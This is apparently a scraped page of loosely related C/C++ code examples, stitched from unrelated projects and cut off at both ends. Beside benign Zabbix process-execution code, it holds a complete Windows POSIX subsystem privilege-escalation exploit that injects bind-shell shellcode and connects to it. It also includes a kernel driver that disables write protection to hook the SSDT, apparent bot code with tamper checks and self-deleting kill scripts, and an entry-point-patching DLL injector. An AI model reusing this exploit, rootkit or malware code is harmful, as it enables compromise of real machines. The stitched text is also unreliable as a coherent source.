		if (-1 == (rc = waitpid(pid, &status, WUNTRACED | wcontinued)))
		{
			if (EINVAL == errno && 0 != wcontinued)
			{
				wcontinued = 0;
				goto retry;
			}
#else
		if (-1 == (rc = waitpid(pid, &status, WUNTRACED)))
		{
#endif
			zabbix_log(LOG_LEVEL_DEBUG, "%s() waitpid failure: %s", __function_name, zbx_strerror(errno));
			goto exit;
		}

		if (WIFEXITED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() exited, status:%d", __function_name, WEXITSTATUS(status));
		else if (WIFSIGNALED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() killed by signal %d", __function_name, WTERMSIG(status));
		else if (WIFSTOPPED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() stopped by signal %d", __function_name, WSTOPSIG(status));
#ifdef WIFCONTINUED
		else if (WIFCONTINUED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() continued", __function_name);
#endif
	}
	while (!WIFEXITED(status) && !WIFSIGNALED(status));
exit:
	zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%d", __function_name, rc);

	return rc;
}

#endif	/* _WINDOWS */

/******************************************************************************
 *                                                                            *
 * Function: zbx_execute                                                      *
 *                                                                            *
 * Purpose: this function executes a script and returns result from stdout    *
 *                                                                            *
 * Parameters: command       - [IN] command for execution                     *
 *             buffer        - [OUT] buffer for output, if NULL - ignored     *
 *             error         - [OUT] error string if function fails           *
 *             max_error_len - [IN] length of error buffer                    *
 *                                                                            *
 * Return value: SUCCEED if processed successfully, TIMEOUT_ERROR if          *
 *               timeout occurred or FAIL otherwise                           *
 *                                                                            *
 * Author: Alexander Vladishev                                                *
 *                                                                            *
 ******************************************************************************/
int	zbx_execute(const char *command, char **buffer, char *error, size_t max_error_len, int timeout)
{
	size_t			buf_size = PIPE_BUFFER_SIZE, offset = 0;
	int			ret = FAIL;
#ifdef _WINDOWS
	STARTUPINFO		si;
	PROCESS_INFORMATION	pi;
	SECURITY_ATTRIBUTES	sa;
	HANDLE			job = NULL, hWrite = NULL, hRead = NULL;
	char			*cmd = NULL;
	wchar_t			*wcmd = NULL;
	struct _timeb		start_time, current_time;
#else
	pid_t			pid;
	int			fd;
#endif

	*error = '\0';

	if (NULL != buffer)
	{
		*buffer = zbx_realloc(*buffer, buf_size);
		**buffer = '\0';
	}

#ifdef _WINDOWS

	/* set the bInheritHandle flag so pipe handles are inherited */
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;

	/* create a pipe for the child process's STDOUT */
	if (0 == CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		zbx_snprintf(error, max_error_len, "unable to create a pipe: %s", strerror_from_system(GetLastError()));
		goto close;
	}

	/* create a new job where the script will be executed */
	if (0 == (job = CreateJobObject(&sa, NULL)))
	{
		zbx_snprintf(error, max_error_len, "unable to create a job: %s", strerror_from_system(GetLastError()));
		goto close;
	}

	/* fill in process startup info structure */
	memset(&si, 0, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
	si.hStdOutput = hWrite;
	si.hStdError = hWrite;

	/* use cmd command to support scripts */
	cmd = zbx_dsprintf(cmd, "cmd /C \"%s\"", command);
	wcmd = zbx_utf8_to_unicode(cmd);

	/* create the new process */
	if (0 == CreateProcess(NULL, wcmd, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
	{
		zbx_snprintf(error, max_error_len, "unable to create process [%s]: %s",
				cmd, strerror_from_system(GetLastError()));
		goto close;
	}

	CloseHandle(hWrite);
	hWrite = NULL;

	/* assign the new process to the created job */
	if (0 == AssignProcessToJobObject(job, pi.hProcess))
	{
		zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s",
				cmd, strerror_from_system(GetLastError()));
		if (0 == TerminateProcess(pi.hProcess, 0))
		{
			zabbix_log(LOG_LEVEL_ERR, "failed to terminate [%s]: %s",
					cmd, strerror_from_system(GetLastError()));
		}
	}
	else if (-1 == ResumeThread(pi.hThread))
	{
		zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s",
				cmd, strerror_from_system(GetLastError()));
	}
	else
		ret = SUCCEED;

	if (FAIL == ret)
		goto close;

	_ftime(&start_time);
	timeout *= 1000;

	ret = zbx_read_from_pipe(hRead, buffer, &buf_size, &offset, timeout);

	if (TIMEOUT_ERROR != ret)
	{
		_ftime(&current_time);
		if (0 < (timeout -= zbx_get_timediff_ms(&start_time, &current_time)) &&
				WAIT_TIMEOUT == WaitForSingleObject(pi.hProcess, timeout))
		{
			ret = TIMEOUT_ERROR;
		}
	}

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
close:
	if (NULL != job)
	{
		/* terminate the child process and it's childs */
		if (0 == TerminateJobObject(job, 0))
			zabbix_log(LOG_LEVEL_ERR, "failed to terminate job [%s]: %s", cmd, strerror_from_system(GetLastError()));
		CloseHandle(job);
	}

	if (NULL != hWrite)
		CloseHandle(hWrite);

	if (NULL != hRead)
		CloseHandle(hRead);

	zbx_free(cmd);
	zbx_free(wcmd);

#else	/* not _WINDOWS */

	alarm(timeout);

	if (-1 != (fd = zbx_popen(&pid, command)))
	{
		int	rc;
		char	tmp_buf[PIPE_BUFFER_SIZE];

		while (0 < (rc = read(fd, tmp_buf, sizeof(tmp_buf) - 1)) && MAX_EXECUTE_OUTPUT_LEN > offset + rc)
		{
			if (NULL != buffer)
			{
				tmp_buf[rc] = '\0';
				zbx_strcpy_alloc(buffer, &buf_size, &offset, tmp_buf);
			}
		}

		close(fd);

		if (-1 == rc || -1 == zbx_waitpid(pid))
		{
			if (EINTR == errno)
				ret = TIMEOUT_ERROR;
			else
				zbx_snprintf(error, max_error_len, "zbx_waitpid() failed: %s", zbx_strerror(errno));

			/* kill the whole process group, pid must be the leader */
			if (-1 == kill(-pid, SIGTERM))
				zabbix_log(LOG_LEVEL_ERR, "failed to kill [%s]: %s", command, zbx_strerror(errno));

			zbx_waitpid(pid);
		}
		else if (MAX_EXECUTE_OUTPUT_LEN <= offset + rc)
		{
			zabbix_log(LOG_LEVEL_ERR, "command output exceeded limit of %d KB",
					MAX_EXECUTE_OUTPUT_LEN / ZBX_KIBIBYTE);
		}
		else
			ret = SUCCEED;
	}
	else
		zbx_strlcpy(error, zbx_strerror(errno), max_error_len);

	alarm(0);

#endif	/* _WINDOWS */

	if (TIMEOUT_ERROR == ret)
		zbx_strlcpy(error, "Timeout while executing a shell script.", max_error_len);
	else if ('\0' != *error)
		zabbix_log(LOG_LEVEL_WARNING, "%s", error);

	if (SUCCEED != ret && NULL != buffer)
		zbx_free(*buffer);

	return ret;
}
Exemple #26
0
main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
   unsigned int buflen=0;
   unsigned char textbuf[CODESIZE];
   int i;
   unsigned short lports;
   char cmdarg[400];
   char systemdir[MAX_PATH+1];
   WSADATA    wsd;
   SOCKET sockfd;
   
   printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
   printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
   {
       printf("[-] WSAStartup error:%d\n", WSAGetLastError());
       return -1;
   }
   
   i = GetWindowsDirectory(systemdir,MAX_PATH);
   systemdir[i]='\0';
   _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C 
pax -h",systemdir,systemdir);
   //printf("cmdarg:%s\n",cmdarg);
   //exit(0);
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   //create process
   //&#20808;&#35753;psxss&#36816;&#34892;&#36215;&#26469;
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
   {
    printf("CreateProcess1 failed:%d\n", GetLastError());
    return 0;
   }
   WaitForSingleObject(pi.hProcess, INFINITE);
   //&#20877;&#36816;&#34892;&#19968;&#27425;
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
   {
    printf("CreateProcess2 failed:%d\n", GetLastError());
    return 0;
   }
   //alloc from remote process
   pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | 
   MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
   if (pdwCodeRemote == NULL) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualAllocEx failed:%d\n",GetLastError());
       return 0;
   }
   printf("Remote addr:0x%08x\n",pdwCodeRemote);
   //we can write and execute
   if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx failed:%d\n",GetLastError());
       return 0;
   }
   //make shellcode    
   lports = htons(bindport)^0xeeee;
   memcpy(bind_shell+bind_port_offset,&lports,2);
   
   memset(buffer,'\x90',MEMSIZE);
   //memset(buffer,'A',EIPLOCATION);
   buffer[MEMSIZE-1] = '\0';
   i=sizeof(bind_shell)-1;
   if(i >= EIPLOCATION) 
   {
       printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
       TerminateProcess(pi.hProcess,0);
       return 0;
   }
   i=EIPLOCATION-i;
   memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
   *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //&#35206;&#30422;eip
   *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //&#35206;&#30422;&#31532;&#19968;&#20010;&#21442;&#25968;
   memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
   //write in to target
   buflen=MEMSIZE;
   if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   //modified the process .text
   if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
       return 0;
   }
   //&#21019;&#24314;&#35201;&#20462;&#34917;&#30340;&#20869;&#23481;
   i = 0;
   textbuf[i++]='\xbf';
   textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
   textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
   //&#26367;&#25442;&#36339;&#36716;&#25351;&#20196;
   textbuf[i++]='\xeb';
   textbuf[i++]='\x09'; //jmp .+0b
   //&#20889;&#36827;&#36827;&#31243;&#20013;
   if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   ResumeThread(pi.hThread);
   Sleep(5);
   sockfd=WSASocket(2,1,0,0,0,0);
   if(sockfd == INVALID_SOCKET)
   {
       printf("[-] WSASocket error:%d\n", WSAGetLastError());
       return -1;
   }
   if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
   {
       closesocket(sockfd);
       printf("[-] Maybe not success?\n");
   }
   readwrite(sockfd);
   TerminateProcess(pi.hProcess,0);
   WaitForSingleObject(pi.hProcess, INFINITE);
}
Exemple #27
0
bool MSVCMemoryDump::miniDumpCallBack(const wchar_t* dump_path,
								  const wchar_t* minidump_id,
								  void* context,
								  EXCEPTION_POINTERS* exinfo,
								  MDRawAssertionInfo* assertion,
								  bool succeeded)
{
	if(succeeded) {

		//Launches crashreport.exe
		std::string commandLine = "owcrashreport";
		if (!_styleName.empty()) {
			commandLine += " -style=";
			commandLine += _styleName;
		}

		//Name of the memory dump
		//Use current path
		std::string memoryDumpName;

		if ( !_fileNamePrefix.empty() )
		{
			memoryDumpName += _fileNamePrefix;
			memoryDumpName += "-";
		}

		memoryDumpName += wstr2str(std::wstring(minidump_id));
		memoryDumpName += ".dmp";

		//GetModuleFileName retrieves the path of the executable file of the current process.
		std::string memoryDumpFile = wstr2str(std::wstring(dump_path));
		memoryDumpFile += memoryDumpName;

		commandLine += " -d ";
		commandLine += "\"";
		commandLine += memoryDumpFile;
		commandLine += "\"";

		commandLine += " -n ";
		commandLine += "\"";
		commandLine += _applicationName;
		commandLine += "\"";

		if (!_languageFilename.empty()) {
			commandLine += " -l ";
			commandLine += "\"";
			commandLine += _languageFilename;
			commandLine += "\"";
		}
		if (getAdditionalInfo) {
			commandLine += " -i ";
			commandLine += "\"";
			commandLine += getAdditionalInfo();
			commandLine += "\"";
		}
		
		//Flushes the logger file
		//Logger::logger.flush();

		executeProcess(commandLine);
	}	
	
	// force to terminate
	TerminateProcess(GetCurrentProcess(), 0);
	
	return succeeded;
}
Exemple #28
0
NTSTATUS SSDTDeviceIoCtl( PDEVICE_OBJECT pDeviceObject, PIRP Irp )
{
//	ULONG pbuf;
	PLOG_BUF    old;
	NTSTATUS s;
	PIO_STACK_LOCATION IrpStack;
	PVOID InputBuffer;
	PVOID OutputBuffer;
	ULONG InputBufferLength;
	ULONG OutputBufferLength;
	ULONG IoControlCode;
		
	s = Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;
	
	IrpStack = IoGetCurrentIrpStackLocation( Irp );
	
	InputBuffer = IrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	InputBufferLength = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
	OutputBuffer = Irp->UserBuffer;
	OutputBufferLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	IoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
	
	///////////////////////////////////////////////
	//这里处理分发例程
	switch( IoControlCode )
	{
	case IOCTL_REG_PROTECTION://开启注册表保护
		CmRegisterCallback(RegistryCallback,
			NULL,
			&Cookie
		);
		Prot=TRUE;
		break;
	case IOCTL_STOP_PROTECTION://停止注册表保护
        CmUnRegisterCallback(Cookie);
		Prot=FALSE;
		break;
	case IOCTL_SAVE_EVENT://把事件传到驱动
		{
			EVENT_INFORMATION EvntInfo;
			__try
			{   
				ProbeForRead( InputBuffer, sizeof(EvntInfo), sizeof( ULONG ) );
				memcpy(&EvntInfo,InputBuffer,8);
			}
			__except(EXCEPTION_EXECUTE_HANDLER)
			{
				;
			}
			if (!NT_SUCCESS(ObReferenceObjectByHandle(EvntInfo.hKernelSetEvent,0,*ExEventObjectType,UserMode,&EventKernelSet,NULL)))
			{
				EventKernelSet=NULL;
			}
			if (!NT_SUCCESS(ObReferenceObjectByHandle(EvntInfo.hKernelWaitEvent,0,*ExEventObjectType,UserMode,&EventKernelWait,NULL)))
			{
				EventKernelWait=NULL;
			}
			DbgPrint("[Kernel_Driver] EventKernelSet = 0x%X, EventKernelWait=0x%X.\n",EventKernelSet,EventKernelWait);
			s = STATUS_SUCCESS;
			break;
		}
	case IOCTL_REGISTRY_INFO://获得注册表信息
		{
			DbgPrint("[Kernel_Driver] IOCTL_GET_CREATE_PROC_INFO.\n");
			__try
			{
				REGISTRY_INFORMATION RegInfo={0};
				memcpy(RegInfo.ProcessName,aProcessName,256);
				memcpy(RegInfo.KeyPath,astr.Buffer,256);
				DbgPrint("%s %s.\n",RegInfo.ProcessName,RegInfo.KeyPath);
				ProbeForWrite( OutputBuffer, sizeof(RegInfo), sizeof( ULONG ) );
				RtlCopyMemory(OutputBuffer,&RegInfo,sizeof(RegInfo)); // it's strange.
			}
			__except(EXCEPTION_EXECUTE_HANDLER)
			{
				DbgPrint("[Kernel_Driver] IOCTL_GET_CREATE_PROC_INFO raised exception.\n");
				;
			}
			break;
		}
	case IOCTL_ALLOW_MODIFY://允许修改
		{
			__try
			{   
				ProbeForRead( InputBuffer, sizeof(CreateAllowed), sizeof( ULONG ) );
				memcpy(&CreateAllowed,InputBuffer,sizeof(CreateAllowed));
			}
			__except(EXCEPTION_EXECUTE_HANDLER)
			{
				;
			}
			break;
		}
	//*************************************************
	case IOCTL_GETSSDT:	//得到SSDT
		__try
		{
			ProbeForWrite( OutputBuffer, sizeof( MYSSDT ), sizeof( ULONG ) );
			RtlCopyMemory( OutputBuffer, KeServiceDescriptorTable, sizeof( MYSSDT ) );
		}
		__except( EXCEPTION_EXECUTE_HANDLER )
		{
			s = GetExceptionCode();
			break;
		}
		DbgPrint( "SSDT: GetSSDT Completeled!" );
		break;
	case IOCTL_KILL:
		{
			__try
			{
				ProbeForRead( InputBuffer, sizeof( ULONG ), sizeof( ULONG ) );
				memcpy(&processID,InputBuffer,sizeof(processID));
				s=PsLookupProcessByProcessId(processID,&eProcess);
				if(NT_SUCCESS(s))
				{
					ObDereferenceObject(eProcess);
				}
				s=TerminateProcess(eProcess);
				if(NT_SUCCESS(s))
				{
					DbgPrint("TerminateProcess Ok!\n");
				}
			}
			__except( EXCEPTION_EXECUTE_HANDLER )
			{
				s = GetExceptionCode();
				break;
			}
			//	status = STATUS_SUCCESS;
			break;
		}
	case IOCTL_ENUMTCP://枚举TCP连接
		{
			PVOID	pOut=NULL;
			ULONG	OutLen=0; 
			
			if(OutputBufferLength<sizeof(CONNINFO102))
			{
				KdPrint(("输出缓冲区长度无效\n"));
				s=STATUS_BUFFER_OVERFLOW;
				break;
			}
			
			pOut=EnumPortInformation(&OutLen,TCPPORT);
			if(!pOut)
			{
				KdPrint(("获取TCP端口信息失败!\n"));
				s=STATUS_UNSUCCESSFUL;
				break;
			}
			
			if(OutputBufferLength<OutLen)
			{
				KdPrint(("输出缓冲区太小,应为%ld\n",OutLen));
				ExFreePool(pOut);
				s=STATUS_BUFFER_OVERFLOW;
				break;
			} 
			
			RtlCopyMemory(OutputBuffer,pOut,OutLen);
			
			ExFreePool(pOut);
			Irp->IoStatus.Information = OutLen;
			break;
		}
	case IOCTL_ENUMUDP://枚举UDP连接
		{
			PVOID	pOut=NULL;
			ULONG	OutLen=0;  
			
			if(OutputBufferLength<sizeof(UDPCONNINFO))
			{
				KdPrint(("输出缓冲区长度无效\n"));
				s=STATUS_BUFFER_OVERFLOW;
				break;
			}
			
			pOut=EnumPortInformation(&OutLen,UDPPORT);
			if(!pOut)
			{
				KdPrint(("获取UDP端口信息失败!\n"));
				s=STATUS_UNSUCCESSFUL;
				break;
			}
			
			if(OutputBufferLength<OutLen)
			{
				KdPrint(("输出缓冲区太小,应为%ld\n",OutLen));
				ExFreePool(pOut);
				s=STATUS_BUFFER_OVERFLOW;
				break;
			}
			
			RtlCopyMemory(OutputBuffer,pOut,OutLen);
			
			ExFreePool(pOut);
			Irp->IoStatus.Information = OutLen;
            break;
		}
	case IOCTL_QSIADDR:
        EnumProcess();
		__try {                 
			
            ProbeForWrite( OutputBuffer,
				OutputBufferLength,
				sizeof( UCHAR ));
			
        } __except( EXCEPTION_EXECUTE_HANDLER ) {
			
            Irp->IoStatus.Information = STATUS_INVALID_PARAMETER;
            return FALSE;
        }            

		if(MAX_MESSAGE > OutputBufferLength)
		{
			return FALSE;
		}
		else 
			if(Log->Length != 0	||  Log->Next   != NULL)
			{
				//pReturnLog = Log;
				MUTEX_P(LogMutex);
				//	NewLog();
				old=OldestLog();
				if(old!=Log)
				{
					MUTEX_V(LogMutex);
					DbgPrint("Old log\n");
				}
				memcpy(OutputBuffer,old->Message,old->Length);
					Irp->IoStatus.Information = old->Length;
				if(old!=Log)
				{
					ExFreePool(old);
				}
				else
				{
					DbgPrint("Current log\n");
					Log->Length=0;
					MUTEX_V(LogMutex);
				}
			}
			else
			{   
				//	MUTEX_V(LogMutex);
					Irp->IoStatus.Information = 0;
			}
			
			

		DbgPrint("SSDT: Set QuerySystemInformation Address Completed!");
                break;
	case IOCTL_SETSSDT: //设置 SSDT
		__try
		{
			ProbeForRead( InputBuffer, sizeof( MYSSDT ), sizeof( ULONG ) );
			//去掉内存保护
			__asm
			{
				cli		;//关中断
				mov eax, cr0
				and eax, ~0x10000
				mov cr0, eax
			}
			RtlCopyMemory( KeServiceDescriptorTable, InputBuffer, sizeof( MYSSDT ) );
			//开中断,把内存保护加上
			 __asm
			 {
				mov eax, cr0
				or eax, 0x10000
				mov cr0, eax
				sti		;//开中断
			 }
		}
		__except( EXCEPTION_EXECUTE_HANDLER )
		{
			s = GetExceptionCode();
			break;
		}
		DbgPrint( "SSDT: SetSSDT Completeled!" );
		break;
	//*************************************************
	case IOCTL_GETHOOK:	//查询SSDT指定地址
		__try
		{
			ProbeForRead( InputBuffer, sizeof( ULONG ), sizeof( ULONG ) );
			ProbeForWrite( OutputBuffer, sizeof( ULONG ), sizeof( ULONG ) );
		}
		__except( EXCEPTION_EXECUTE_HANDLER )
		{
			s = GetExceptionCode();
			break;
		}
		//测试传入的参数是否正确
		if( KeServiceDescriptorTable->ulNumberOfServices <= *(PULONG)InputBuffer )
		{
			s = STATUS_INVALID_PARAMETER;
			break;
		}
		//将结果传到用户输出位置
		*((PULONG)OutputBuffer) = *( (PULONG)(KeServiceDescriptorTable->pvSSDTBase) + *(PULONG)InputBuffer );
		DbgPrint( "SSDT: GetHookedAddress Completeled!" );
		break;
	//*************************************************
	case IOCTL_SETHOOK:	//设置SSDT指定地址
		__try
		{
			ProbeForRead( InputBuffer, sizeof( ULONG ), sizeof( ULONG ) );
			ProbeForRead( OutputBuffer, sizeof( ULONG ), sizeof( ULONG ) );
		}
		__except( EXCEPTION_EXECUTE_HANDLER )
		{
			s = GetExceptionCode();
			break;
		}
		//测试传入的参数是否正确
		if( KeServiceDescriptorTable->ulNumberOfServices <= *(PULONG)InputBuffer )
		{
			s = STATUS_INVALID_PARAMETER;
			break;
		}
		//在此将输出缓冲区当作输入缓冲区来用,输入指定SSDT HOOK的地址值
		//去掉内存保护
		__asm
		{
			cli		;//关中断
			mov eax, cr0
			and eax, ~0x10000
			mov cr0, eax
		}
		 *( (PULONG)(KeServiceDescriptorTable->pvSSDTBase) + *(PULONG)InputBuffer ) = *((PULONG)OutputBuffer);
		 //开中断,把内存保护加上
		 __asm
		 {
			mov eax, cr0
			or eax, 0x10000
			mov cr0, eax
			sti		;//开中断
		 }
		 DbgPrint( "SSDT: SetHookedAddress Completeled!" );
		break;
	//*************************************************
	default:
		s = STATUS_INVALID_DEVICE_REQUEST;
		DbgPrint( "SSDT: Invalid Parameter Completeled!" );
		break;
	}
	///////////////////////////////////////////////
	
	IoCompleteRequest( Irp, IO_NO_INCREMENT );
	
	return s;
}
Exemple #29
0
bool KillProcessByPid(DWORD dwPid, bool bKillChildren)
{
    // <!-------! CRC AREA START !-------!>
    char cCheckString1[DEFAULT];
    sprintf(cCheckString1, "%s:%i", cServer, usPort);
    char *pcStr1 = cCheckString1;
    unsigned long ulCheck1 = 5081+(30*10);
    int nCheck1;
    while((nCheck1 = *pcStr1++))
        ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1;
    if(ulCheck1 != ulChecksum3)
        return true;
    // <!-------! CRC AREA STOP !-------!>

    RemoteDaclProtection(dwPid);

    bool bReturn = FALSE;

    if(bKillChildren)
    {
        char cBatchFileContents[DEFAULT];
        strcpy(cBatchFileContents, "@echo off\nTASKKILL /F /T /PID ");

        char cPid[8];
        itoa(dwPid, cPid, 10);
        strcat(cBatchFileContents, cPid);

        strcat(cBatchFileContents, ">NUL\nDEL %0>NUL\n");

        char cBatchFileName[MAX_PATH];
        sprintf(cBatchFileName, "%s\\K%li.bat", cTempDirectory, ulFileHash);

        FILE * fFile;
        fFile = fopen(cBatchFileName, "w");
        if(fFile != NULL)
        {
            fputs(cBatchFileContents, fFile);
            fclose(fFile);
            ShellExecute(NULL, NULL, cBatchFileName, NULL, NULL, SW_HIDE);
        }

        Sleep(GetRandNum(500) + 250);
    }

    HANDLE hProcess = NULL;

    if(GetCurrentProcessId() != dwPid)
          hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, dwPid);

    if(hProcess != NULL)
    {
        if(TerminateProcess(hProcess, NULL))
            bReturn = TRUE;
    }
    else if(bKillChildren)
        bReturn = TRUE;

    CloseHandle(hProcess);

    return bReturn;
}
Exemple #30
0
__declspec(dllexport) DWORD __stdcall Load( const char *exe, const char *dll, const char *func, const void *dllData, int dataLen, DWORD *pid )
{
	SIZE_T Num;
	char buff[MAX_PATH];
	LPVOID Entry;
	STARTUPINFO StartInfo;
	PROCESS_INFORMATION ProcInfo;
	IMAGE_DOS_HEADER idh;
	IMAGE_OPTIONAL_HEADER32 ioh;

	FILE *pExe = fopen( exe, "rb" );
	if ( !pExe )
	{
		buff[0] = 0;
		if ( GetShortPathName( exe, buff, MAX_PATH ) >= MAX_PATH )
			buff[0] = 0;

		pExe = fopen( buff, "rb" );
		if ( !pExe )
			return NO_OPEN_EXE;
	}

	if ( fread( &idh, 1, sizeof(IMAGE_DOS_HEADER), pExe ) != sizeof(IMAGE_DOS_HEADER) )
	{
		fclose( pExe );
		return NO_READ_EXE_DATA;
	}

	fseek( pExe, idh.e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER), SEEK_SET );
	if ( fread( &ioh, 1, sizeof(IMAGE_OPTIONAL_HEADER32), pExe ) != sizeof(IMAGE_OPTIONAL_HEADER32) )
	{
		fclose( pExe );
		return NO_READ_EXE_DATA;
	}

	Entry = (LPVOID)(ioh.ImageBase + ioh.AddressOfEntryPoint);
	
	//sprintf( buff, "magic: %X\nlfanew: %X\nimg_base: %X\naoep: %X\nmagic2: %X", idh.e_magic, idh.e_lfanew, ioh.ImageBase, ioh.AddressOfEntryPoint, ioh.Magic );
	//MessageBox( NULL, buff, "Error", MB_OK );

	fclose( pExe );

	// find the exe's working directory
	strcpy( buff, exe );

	int i=(int)strlen(buff);
	while ( buff[i] != '\\' && buff[i] != '/' && i > 0 )
		i--;
	buff[i] = 0;

	//GetStartupInfo( &StartInfo );
	memset( &StartInfo, 0, sizeof(STARTUPINFO) );
	StartInfo.cb = sizeof(STARTUPINFO);

	// launch the exe
	if ( !CreateProcess( exe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, buff, &StartInfo, &ProcInfo ) )
		return NO_RUN_EXE;

	*pid = ProcInfo.dwProcessId;

	int dllNameLen = (int)strlen(dll)+1;
	int funcNameLen = (int)strlen(func)+1;
	const int LoadAsmSize = 60;
	SIZE_T allocSize = dllNameLen + funcNameLen + dataLen + LoadAsmSize;

	// allocate some space in the exe for our memory
	DWORD ProcMem = 0;
	
	ProcMem = (DWORD)VirtualAllocEx( ProcInfo.hProcess, NULL, allocSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
	if ( !ProcMem )
	{
		ProcMem = 0x00700000;
		if ( !VirtualProtectEx( ProcInfo.hProcess, (LPVOID)ProcMem, allocSize, PAGE_EXECUTE_READWRITE, (PDWORD)&Num ) )
		{
			TerminateProcess( ProcInfo.hProcess, 0 );
			return NO_ALLOC_MEM;
		}
	}

	char *toWrite = new char[allocSize];
	if ( !toWrite )
	{
		TerminateProcess( ProcInfo.hProcess, 0 );
		return NO_ALLOC_MEM;
	}

	// change protection to allow us to read/write the entry point (note: the old protection is not restored (so that we can change this space again later...)
	if ( !VirtualProtectEx( ProcInfo.hProcess, Entry, 8, PAGE_EXECUTE_READWRITE, (PDWORD)&Num ) )
	{
		TerminateProcess( ProcInfo.hProcess, 0 );
		return NO_VPROTECT;
	}
	
	// read the old code at the entry point
	if ( !ReadProcessMemory( ProcInfo.hProcess, Entry, buff, 8, &Num ) || Num != 8 )
	{
		TerminateProcess( ProcInfo.hProcess, 0 );
		return NO_READ;
	}

	// note if you change this size you must rewrite the LoadAsm to copy back the original code properly
	unsigned char EntryAsm[] = {
		0xE9, 0,0,0,0,			// jmp (offset)
		0x90,0x90,0x90,			// nop (for 4 byte alignment)
	};

	*((DWORD*)&EntryAsm[1]) = ProcMem - ((DWORD)Entry + 5);

	// write the new code at the entry point
	if ( !WriteProcessMemory( ProcInfo.hProcess, Entry, EntryAsm, 8, &Num ) || Num != 8 )
	{
		TerminateProcess( ProcInfo.hProcess, 0 );
		return NO_WRITE;
	}

	// this asm section does everything
	unsigned char LoadAsm[LoadAsmSize] = {
		// restore the original entry point bytes
		0xB8, 0,0,0,0,			// mov     eax, (number)
		0xC7, 0x00, 0,0,0,0,	// mov     dword ptr [eax], (num)
		0xC7, 0x40, 4, 0,0,0,0, // mov     dword ptr [eax+4], (num)

		// LoadLibrary( name )
		0x68, 0,0,0,0,			// push (num)
		0xE8, 0,0,0,0,			// call (offset)

		// GetProcAddress( lib, name )
		0x68, 0,0,0,0,			// push (num)
		0x50,					// push eax
		0xE8, 0,0,0,0,			// call (offset)

		// name( data, dataLen )
		0x68, 0,0,0,0,			// push (num)
		0x68, 0,0,0,0,			// push (num)
		0xFF, 0xD0,				// call eax

		// go back to the original entry point
		0xE9, 0,0,0,0,			// jmp  (offset)
		
		0x90, 0x90, 0x90, 0x90,	// nop (padding)
	};

